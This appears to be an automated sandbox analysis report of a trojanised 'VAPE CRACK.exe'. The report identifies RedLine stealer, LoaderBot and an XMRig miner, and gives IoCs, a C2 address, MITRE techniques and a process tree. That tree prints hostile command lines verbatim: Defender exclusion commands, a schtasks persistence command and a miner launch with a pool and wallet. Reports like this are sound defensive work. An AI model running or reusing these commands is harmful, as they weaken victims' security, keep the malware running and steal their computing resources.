loaderbot | 914644da1b2f5c041a3199411b353f3c8e5b7e965399ac015bbc6c5286da7a7e

Resubmissions

23-10-2021 17:13

211023-vrvmrsdcgr 10

23-10-2021 16:54

211023-vejdzadcgp 10

Analysis

max time kernel
146s
max time network
123s
platform
windows10_x64
resource
win10-en-20211014
submitted
23-10-2021 16:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

VAPE CRACK.exe
Size

7.3MB
MD5

c884991c01d2854cd2d9b46f792207fc
SHA1

3f1549e8aaea2119361caa588d47de42aab0dc47
SHA256

914644da1b2f5c041a3199411b353f3c8e5b7e965399ac015bbc6c5286da7a7e
SHA512

0fade5bc588ea78f9dc589ca2c1223ae6141e6eae3af92a7d660f5343ebfb798b6de1c6011f52061ef2a2cc29800615420dbaaa68b7fac3f10b6a0a0a6da9669

Score

10^/10

loaderbot redline xmrig @zenvolord infostealer loader miner persistence spyware suricata vmprotect

Malware Config

Extracted

Family

redline

Botnet

@zenvolord

185.209.22.181:29234

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/824-130-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/824-135-0x0000000000419A5E-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 1320 created 4236 1320 WerFault.exe VAPE V4.exe
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

description	pid	process	target process
PID 1320 created 4236	1320	WerFault.exe	VAPE V4.exe

XMRig Miner Payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe	xmrig
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe	xmrig

Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

dllhost.exeVAPE V4.exeDriver.exebuild.exeservices32.exesihost32.exe

pid process

4272 dllhost.exe
4236 VAPE V4.exe
4212 Driver.exe
4028 build.exe
3704 services32.exe
3128 sihost32.exe

pid	process
4272	dllhost.exe
4236	VAPE V4.exe
4212	Driver.exe
4028	build.exe
3704	services32.exe
3128	sihost32.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\build.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\build.exe	vmprotect
C:\Users\Admin\services32.exe	vmprotect
C:\Users\Admin\services32.exe	vmprotect

Drops startup file 1 IoCs

Processes:

dllhost.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url dllhost.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	dllhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\dllhost.exe"	dllhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

dllhost.exe

pid process

4272 dllhost.exe
4272 dllhost.exe
4272 dllhost.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

VAPE V4.exe

description pid process target process

PID 4236 set thread context of 824 4236 VAPE V4.exe AppLaunch.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1320 4236 WerFault.exe VAPE V4.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1108 schtasks.exe

pid	process
4272	dllhost.exe
4272	dllhost.exe
4272	dllhost.exe

description	pid	process	target process
PID 4236 set thread context of 824	4236	VAPE V4.exe	AppLaunch.exe

pid	pid_target	process	target process
1320	4236	WerFault.exe	VAPE V4.exe

pid	process
1108	schtasks.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

Processes:

VAPE V4.exeWerFault.exedllhost.exeAppLaunch.exebuild.execonhost.exepowershell.exepowershell.exeservices32.execonhost.exepowershell.exepowershell.exe

pid	process
4236	VAPE V4.exe
4236	VAPE V4.exe
4236	VAPE V4.exe
4236	VAPE V4.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
1320	WerFault.exe
4272	dllhost.exe
4272	dllhost.exe
4272	dllhost.exe
4272	dllhost.exe
4272	dllhost.exe
4272	dllhost.exe
824	AppLaunch.exe
4028	build.exe
4028	build.exe
916	conhost.exe
548	powershell.exe
548	powershell.exe
548	powershell.exe
420	powershell.exe
420	powershell.exe
420	powershell.exe
3704	services32.exe
3704	services32.exe
1036	conhost.exe
1036	conhost.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
3740	powershell.exe
3740	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

dllhost.exeWerFault.exeDriver.exeAppLaunch.execonhost.exepowershell.exepowershell.execonhost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4272	dllhost.exe
Token: SeRestorePrivilege	1320	WerFault.exe
Token: SeBackupPrivilege	1320	WerFault.exe
Token: SeDebugPrivilege	1320	WerFault.exe
Token: SeLockMemoryPrivilege	4212	Driver.exe
Token: SeLockMemoryPrivilege	4212	Driver.exe
Token: SeDebugPrivilege	824	AppLaunch.exe
Token: SeDebugPrivilege	916	conhost.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeIncreaseQuotaPrivilege	548	powershell.exe
Token: SeSecurityPrivilege	548	powershell.exe
Token: SeTakeOwnershipPrivilege	548	powershell.exe
Token: SeLoadDriverPrivilege	548	powershell.exe
Token: SeSystemProfilePrivilege	548	powershell.exe
Token: SeSystemtimePrivilege	548	powershell.exe
Token: SeProfSingleProcessPrivilege	548	powershell.exe
Token: SeIncBasePriorityPrivilege	548	powershell.exe
Token: SeCreatePagefilePrivilege	548	powershell.exe
Token: SeBackupPrivilege	548	powershell.exe
Token: SeRestorePrivilege	548	powershell.exe
Token: SeShutdownPrivilege	548	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeSystemEnvironmentPrivilege	548	powershell.exe
Token: SeRemoteShutdownPrivilege	548	powershell.exe
Token: SeUndockPrivilege	548	powershell.exe
Token: SeManageVolumePrivilege	548	powershell.exe
Token: 33	548	powershell.exe
Token: 34	548	powershell.exe
Token: 35	548	powershell.exe
Token: 36	548	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeIncreaseQuotaPrivilege	420	powershell.exe
Token: SeSecurityPrivilege	420	powershell.exe
Token: SeTakeOwnershipPrivilege	420	powershell.exe
Token: SeLoadDriverPrivilege	420	powershell.exe
Token: SeSystemProfilePrivilege	420	powershell.exe
Token: SeSystemtimePrivilege	420	powershell.exe
Token: SeProfSingleProcessPrivilege	420	powershell.exe
Token: SeIncBasePriorityPrivilege	420	powershell.exe
Token: SeCreatePagefilePrivilege	420	powershell.exe
Token: SeBackupPrivilege	420	powershell.exe
Token: SeRestorePrivilege	420	powershell.exe
Token: SeShutdownPrivilege	420	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeSystemEnvironmentPrivilege	420	powershell.exe
Token: SeRemoteShutdownPrivilege	420	powershell.exe
Token: SeUndockPrivilege	420	powershell.exe
Token: SeManageVolumePrivilege	420	powershell.exe
Token: 33	420	powershell.exe
Token: 34	420	powershell.exe
Token: 35	420	powershell.exe
Token: 36	420	powershell.exe
Token: SeDebugPrivilege	1036	conhost.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeIncreaseQuotaPrivilege	4304	powershell.exe
Token: SeSecurityPrivilege	4304	powershell.exe
Token: SeTakeOwnershipPrivilege	4304	powershell.exe
Token: SeLoadDriverPrivilege	4304	powershell.exe
Token: SeSystemProfilePrivilege	4304	powershell.exe
Token: SeSystemtimePrivilege	4304	powershell.exe
Token: SeProfSingleProcessPrivilege	4304	powershell.exe
Token: SeIncBasePriorityPrivilege	4304	powershell.exe
Token: SeCreatePagefilePrivilege	4304	powershell.exe
Token: SeBackupPrivilege	4304	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

dllhost.exe

pid process

4272 dllhost.exe

pid	process
4272	dllhost.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

VAPE CRACK.exeVAPE V4.exedllhost.exeAppLaunch.exebuild.execonhost.execmd.execmd.execmd.exeservices32.execonhost.execmd.exesihost32.exe

description	pid	process	target process
PID 4200 wrote to memory of 4272	4200	VAPE CRACK.exe	dllhost.exe
PID 4200 wrote to memory of 4272	4200	VAPE CRACK.exe	dllhost.exe
PID 4200 wrote to memory of 4272	4200	VAPE CRACK.exe	dllhost.exe
PID 4200 wrote to memory of 4236	4200	VAPE CRACK.exe	VAPE V4.exe
PID 4200 wrote to memory of 4236	4200	VAPE CRACK.exe	VAPE V4.exe
PID 4200 wrote to memory of 4236	4200	VAPE CRACK.exe	VAPE V4.exe
PID 4236 wrote to memory of 824	4236	VAPE V4.exe	AppLaunch.exe
PID 4236 wrote to memory of 824	4236	VAPE V4.exe	AppLaunch.exe
PID 4236 wrote to memory of 824	4236	VAPE V4.exe	AppLaunch.exe
PID 4236 wrote to memory of 824	4236	VAPE V4.exe	AppLaunch.exe
PID 4236 wrote to memory of 824	4236	VAPE V4.exe	AppLaunch.exe
PID 4272 wrote to memory of 4212	4272	dllhost.exe	Driver.exe
PID 4272 wrote to memory of 4212	4272	dllhost.exe	Driver.exe
PID 824 wrote to memory of 4028	824	AppLaunch.exe	build.exe
PID 824 wrote to memory of 4028	824	AppLaunch.exe	build.exe
PID 4028 wrote to memory of 916	4028	build.exe	conhost.exe
PID 4028 wrote to memory of 916	4028	build.exe	conhost.exe
PID 4028 wrote to memory of 916	4028	build.exe	conhost.exe
PID 916 wrote to memory of 1812	916	conhost.exe	cmd.exe
PID 916 wrote to memory of 1812	916	conhost.exe	cmd.exe
PID 1812 wrote to memory of 548	1812	cmd.exe	powershell.exe
PID 1812 wrote to memory of 548	1812	cmd.exe	powershell.exe
PID 916 wrote to memory of 2792	916	conhost.exe	cmd.exe
PID 916 wrote to memory of 2792	916	conhost.exe	cmd.exe
PID 2792 wrote to memory of 1108	2792	cmd.exe	schtasks.exe
PID 2792 wrote to memory of 1108	2792	cmd.exe	schtasks.exe
PID 1812 wrote to memory of 420	1812	cmd.exe	powershell.exe
PID 1812 wrote to memory of 420	1812	cmd.exe	powershell.exe
PID 916 wrote to memory of 4740	916	conhost.exe	cmd.exe
PID 916 wrote to memory of 4740	916	conhost.exe	cmd.exe
PID 4740 wrote to memory of 3704	4740	cmd.exe	services32.exe
PID 4740 wrote to memory of 3704	4740	cmd.exe	services32.exe
PID 3704 wrote to memory of 1036	3704	services32.exe	conhost.exe
PID 3704 wrote to memory of 1036	3704	services32.exe	conhost.exe
PID 3704 wrote to memory of 1036	3704	services32.exe	conhost.exe
PID 1036 wrote to memory of 4476	1036	conhost.exe	cmd.exe
PID 1036 wrote to memory of 4476	1036	conhost.exe	cmd.exe
PID 4476 wrote to memory of 4304	4476	cmd.exe	powershell.exe
PID 4476 wrote to memory of 4304	4476	cmd.exe	powershell.exe
PID 1036 wrote to memory of 3128	1036	conhost.exe	sihost32.exe
PID 1036 wrote to memory of 3128	1036	conhost.exe	sihost32.exe
PID 4476 wrote to memory of 3740	4476	cmd.exe	powershell.exe
PID 4476 wrote to memory of 3740	4476	cmd.exe	powershell.exe
PID 3128 wrote to memory of 2584	3128	sihost32.exe	conhost.exe
PID 3128 wrote to memory of 2584	3128	sihost32.exe	conhost.exe
PID 3128 wrote to memory of 2584	3128	sihost32.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\VAPE CRACK.exe
"C:\Users\Admin\AppData\Local\Temp\VAPE CRACK.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4200

C:\Users\Admin\AppData\Local\Temp\dllhost.exe
"C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4272

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48VqBvWwx4DFvegwZp7dE7WpBeYWhdaZUF8BiWc6HdwsP89dK2tiqnHSuyyBjeSn9cZ2ZCMrVrVDkAhGNvCC44DKL2zvQn1 -p x -k -v=0 --donate-level=1 -t 1
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4212

C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
"C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4236

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:824

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4028

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:420

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:2792

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
7⤵
- Creates scheduled task(s)
PID:1108

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\services32.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:4740

C:\Users\Admin\services32.exe
C:\Users\Admin\services32.exe
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3704

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
9⤵
- Suspicious use of WriteProcessMemory
PID:4476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
10⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
10⤵
- Suspicious behavior: EnumeratesProcesses
PID:3740

C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "/sihost32"
10⤵
PID:2584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 256
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1320

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
MD5
84f2160705ac9a032c002f966498ef74

SHA1
e9f3db2e1ad24a4f7e5c203af03bbc07235e704c

SHA256
7840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93

SHA512
f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
094c01ea35ee35dc016cfce0828f69c3

SHA1
ff4e08168b02071e40abde87ebb345be2d27813f

SHA256
5365643238a6df138b5c68b7447d4a1880e12e83007f0684ad87186f2d39bd24

SHA512
8441035d4ec359ab911c2a9c96d76f5430cda74914dd636e6d24cdd2507502e1056ff41c0cec77b1179194b5276fe175b78ef1f1720a66c539f93e704d275415

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
f4b7139787a545d8b590810efec3b336

SHA1
eaf71aa06275a389d6e126073e204810985791ed

SHA256
ed60606e4b1a0763ee0e54ad209d1b85ebee4c54f7622e548cd8b9f3acadbe76

SHA512
8d94dae7892032b42cc5c3c866a2d55b1f747aeb45448ae54bdbc85dc5a827b8c5bb5aaa2a75c29a7d2eef0b8991c12ce1db49fa3ec247fc5bdfd86a485cc10d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
370ad0dd8e7245c9ded7d650f6d02132

SHA1
9d157f58efc44b8e8c8010b0880fe5fd1a52546b

SHA256
12f6c16568377d6de09f3c259bacfe48e80af09a1924054ef1f152141485c565

SHA512
54f900e576291f9c8c48b34289dc876d3079273dba8dcd5864b46bd66519b047591e699c04de0001d82b1cbb36bc10f25a5ba504abac4490085a7a90607fbff6

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
MD5
eda712f5cca6547e36d2937b9d89fad0

SHA1
fb036b0995196539788ad0bcbce0bbb8d2db448e

SHA256
860eabc945b4a99255e1bdbcfcc19a6ebf605612d809678ecd329e6f17c4f961

SHA512
5ba2ea554cd25c2931a56bfdfd20da2c064c316841d5506178e44591fd67d356595a8a1d8243df753d2691de3e4e9b6bdeb6b979cbc72894f03c07b048aad6a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPE V4.exe
MD5
eda712f5cca6547e36d2937b9d89fad0

SHA1
fb036b0995196539788ad0bcbce0bbb8d2db448e

SHA256
860eabc945b4a99255e1bdbcfcc19a6ebf605612d809678ecd329e6f17c4f961

SHA512
5ba2ea554cd25c2931a56bfdfd20da2c064c316841d5506178e44591fd67d356595a8a1d8243df753d2691de3e4e9b6bdeb6b979cbc72894f03c07b048aad6a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\AppData\Local\Temp\dllhost.exe
MD5
d3b312dc4459edae7159835bcd374b9f

SHA1
c4005eeae71227993aa8ddb05ef0fb0816568c25

SHA256
4b515944cfb60f4fa648b09cd4f2556c3d77c381189f5e85fd6b6d9e20a974fd

SHA512
019b87178e7051970b9868e37343e25e8a5875356b1a7053fee9eb80ff707195d06b8eae35faba066edfc463628f3298368964ab19a49e81d43c7a7fb2b29786

Download Submit
C:\Users\Admin\AppData\Local\Temp\dllhost.exe
MD5
d3b312dc4459edae7159835bcd374b9f

SHA1
c4005eeae71227993aa8ddb05ef0fb0816568c25

SHA256
4b515944cfb60f4fa648b09cd4f2556c3d77c381189f5e85fd6b6d9e20a974fd

SHA512
019b87178e7051970b9868e37343e25e8a5875356b1a7053fee9eb80ff707195d06b8eae35faba066edfc463628f3298368964ab19a49e81d43c7a7fb2b29786

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
MD5
2377a426e5329ce23fb1567f4841931b

SHA1
3d82d8c29d942ebe46cfc15a387ae9270dfd4708

SHA256
f939428602b60db8a97d7d2ad604c803487d6dfbbc9e760a4d948ad94c0e20d2

SHA512
1a0159695452841c46d260f5d3711939ba0c7e22dbf4b3b783d0241ffd807e4de0feb3e00964b23e49f656dac9520a5cfd71a911bfa6be7ed470c53476a4db6d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
MD5
2377a426e5329ce23fb1567f4841931b

SHA1
3d82d8c29d942ebe46cfc15a387ae9270dfd4708

SHA256
f939428602b60db8a97d7d2ad604c803487d6dfbbc9e760a4d948ad94c0e20d2

SHA512
1a0159695452841c46d260f5d3711939ba0c7e22dbf4b3b783d0241ffd807e4de0feb3e00964b23e49f656dac9520a5cfd71a911bfa6be7ed470c53476a4db6d

Download Submit
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
MD5
4eef3a16234b50ad80f46b0928ec125d

SHA1
1dfc138538234f09bec31bebc2645733f34cc166

SHA256
9709fb3d2694cd95a4e1f26ec6ae491a6cec56cac5e69840e9ad876b1053ff5a

SHA512
311e7476596fc282d3940a702fb08c9192cb163a77a910f8b39043e39849fa7b1e48de135dcec9871871e651a5f491f06dd193ed788eadd10c63ac6678246208

Download Submit
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
MD5
4eef3a16234b50ad80f46b0928ec125d

SHA1
1dfc138538234f09bec31bebc2645733f34cc166

SHA256
9709fb3d2694cd95a4e1f26ec6ae491a6cec56cac5e69840e9ad876b1053ff5a

SHA512
311e7476596fc282d3940a702fb08c9192cb163a77a910f8b39043e39849fa7b1e48de135dcec9871871e651a5f491f06dd193ed788eadd10c63ac6678246208

Download Submit
C:\Users\Admin\services32.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
C:\Users\Admin\services32.exe
MD5
8a47854bb6f71ea75accdb2efebfebdd

SHA1
948db24310675c45c664216ba7ee298481581eba

SHA256
f3034e2160cda9c5a335a07016f8bc3172c0081a9f56c6199f3aff8c98bcbba4

SHA512
8f24085692d391f7cff49e3cdc4ec053ac9db1c7548d7ace689b4d819167438c4171307b0f8eea97fd79e92fe24584731375a02f73f6dc4793d8044717e59def

Download Submit
memory/420-535-0x000001CD10A16000-0x000001CD10A18000-memory.dmp

Filesize
8KB

Download
memory/420-513-0x000001CD10A10000-0x000001CD10A12000-memory.dmp

Filesize
8KB

Download
memory/420-538-0x000001CD10A18000-0x000001CD10A19000-memory.dmp

Filesize
4KB

Download
memory/420-514-0x000001CD10A13000-0x000001CD10A15000-memory.dmp

Filesize
8KB

Download
memory/420-497-0x0000000000000000-mapping.dmp

Download
memory/548-470-0x000001B3E8AD6000-0x000001B3E8AD8000-memory.dmp

Filesize
8KB

Download
memory/548-448-0x0000000000000000-mapping.dmp

Download
memory/548-496-0x000001B3E8AD8000-0x000001B3E8AD9000-memory.dmp

Filesize
4KB

Download
memory/548-462-0x000001B3E8AD3000-0x000001B3E8AD5000-memory.dmp

Filesize
8KB

Download
memory/548-461-0x000001B3E8AD0000-0x000001B3E8AD2000-memory.dmp

Filesize
8KB

Download
memory/824-143-0x00000000093E0000-0x00000000093E1000-memory.dmp

Filesize
4KB

Download
memory/824-147-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

Filesize
4KB

Download
memory/824-146-0x0000000009350000-0x0000000009351000-memory.dmp

Filesize
4KB

Download
memory/824-145-0x0000000009200000-0x0000000009806000-memory.dmp

Filesize
6.0MB

Download
memory/824-144-0x0000000009310000-0x0000000009311000-memory.dmp

Filesize
4KB

Download
memory/824-142-0x00000000092B0000-0x00000000092B1000-memory.dmp

Filesize
4KB

Download
memory/824-157-0x000000000A320000-0x000000000A321000-memory.dmp

Filesize
4KB

Download
memory/824-160-0x00000000096D0000-0x00000000096D1000-memory.dmp

Filesize
4KB

Download
memory/824-161-0x0000000009E20000-0x0000000009E21000-memory.dmp

Filesize
4KB

Download
memory/824-162-0x0000000009790000-0x0000000009791000-memory.dmp

Filesize
4KB

Download
memory/824-141-0x0000000009810000-0x0000000009811000-memory.dmp

Filesize
4KB

Download
memory/824-177-0x000000000BBA0000-0x000000000BBA1000-memory.dmp

Filesize
4KB

Download
memory/824-178-0x000000000C2A0000-0x000000000C2A1000-memory.dmp

Filesize
4KB

Download
memory/824-139-0x0000000000400000-0x0000000000401000-memory.dmp

Filesize
4KB

Download
memory/824-138-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

Filesize
4KB

Download
memory/824-137-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

Filesize
4KB

Download
memory/824-135-0x0000000000419A5E-mapping.dmp

Download
memory/824-136-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

Filesize
4KB

Download
memory/824-130-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/916-437-0x00000249840B0000-0x00000249840BF000-memory.dmp

Filesize
60KB

Download
memory/916-459-0x0000024985C46000-0x0000024985C47000-memory.dmp

Filesize
4KB

Download
memory/916-455-0x0000024985C40000-0x0000024985C42000-memory.dmp

Filesize
8KB

Download
memory/916-457-0x0000024985C43000-0x0000024985C45000-memory.dmp

Filesize
8KB

Download
memory/1036-566-0x00000292F21C0000-0x00000292F21C2000-memory.dmp

Filesize
8KB

Download
memory/1036-568-0x00000292F21C6000-0x00000292F21C7000-memory.dmp

Filesize
4KB

Download
